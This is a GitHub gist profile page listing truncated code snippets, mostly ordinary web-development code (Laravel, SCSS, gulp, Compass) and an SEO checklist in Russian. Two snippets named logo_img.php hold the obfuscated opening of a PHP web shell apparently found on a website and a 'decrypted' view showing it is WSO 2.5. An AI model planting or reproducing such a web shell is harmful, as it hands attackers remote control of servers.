Skip to content

Instantly share code, notes, and snippets.

View jetrodn's full-sized avatar

Vladimir Rodin jetrodn

View GitHub Profile
@jetrodn
jetrodn / Handler.php
Created November 14, 2018 13:54
Laravel error handling
/**
* Render an exception into an HTTP response.
*
* @param \Illuminate\Http\Request $request
* @param \Exception $exception
* @return \Illuminate\Http\Response
*/
public function render($request, Exception $exception)
{
if($exception instanceof \ErrorException)
@jetrodn
jetrodn / _mixins.scss
Created November 3, 2017 14:00
mixin for css breakpoints
@mixin for-size($size) {
@if $size == phone-only {
@media (max-width: 599px) { @content; }
} @else if $size == tablet-portrait-up {
@media (min-width: 600px) { @content; }
} @else if $size == tablet-landscape-up {
@media (min-width: 900px) { @content; }
} @else if $size == desktop-up {
@media (min-width: 1200px) { @content; }
} @else if $size == big-desktop-up {
75952-962 785652027406
7648-962 785652764899
7661-962 785652661938
75952-710 785652182464
7662-02 785652766220
75350-708 785652134340
7580402-846 785652245671
75952-962 785652027406
7648-962 785652764899
7661-962 785652661938
using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Web;
@jetrodn
jetrodn / logo_img.php
Created April 26, 2017 11:41
./tensoftgroup.com/public_html/rokdownloads/logo_img.php
<?php
$hwwihsbqn="a".chr(117)."\x74"."h"."_"."\x70"."\x61"."\x73"."s";
$asliwapol="\x63".chr(111)."l".chr(111)."r";
$yjjrbx="\x64"."\x65"."\x66"."\x61"."u"."l"."\x74"."_"."\x61"."\x63"."t"."\x69"."o"."n";
$gxyxp=chr(100)."e".chr(102)."\x61"."u"."\x6c"."\x74"."_".chr(117).chr(115)."\x65"."\x5f".chr(97)."\x6a"."\x61"."\x78";
$svvul="d"."\x65"."f"."\x61"."u"."\x6c"."t"."_"."c"."h"."a".chr(114).chr(115)."e"."\x74";
$$hwwihsbqn='';
$$asliwapol="\x23".chr(100).chr(102)."\x35";
@jetrodn
jetrodn / logo_img.php
Last active April 26, 2017 11:39
decrypted
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title> - WSO 2.5</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
@jetrodn
jetrodn / mysql - Communications link failure
Created November 29, 2016 22:43
connect to database from datagrip / Communications link failure
/**
* Gulp Dependencies
*
*/
var gulp = require('gulp'), // gulp core
lr = require('tiny-lr'),
livereload = require('gulp-livereload'),
imagemin = require('gulp-imagemin'), // imagemin
concat = require('gulp-concat'), // concatinate js
uglify = require('gulp-uglify'), // uglifies the js
# Set this to the root of your project when deployed:
http_path = "/"
css_dir = "css"
sass_dir = "sass"
# images_dir = "images"
# javascripts_dir = "js"
# You can select your preferred output style here (can be overridden via the command line):
# output_style = :expanded or :nested or :compact or :compressed
output_style = :compressed
1. Матрица сайта
Построение матрицы сайта
2. Общий анализ
Сбор информации о проекте от клиента
Ручной анализ сайта
Анализ отчетов о продвижении
Оценка трафикового потенциала сайта
Анализ CMS на эффективность для продвижения
Проверка на использование стандартного шаблона в качестве дизайна сайта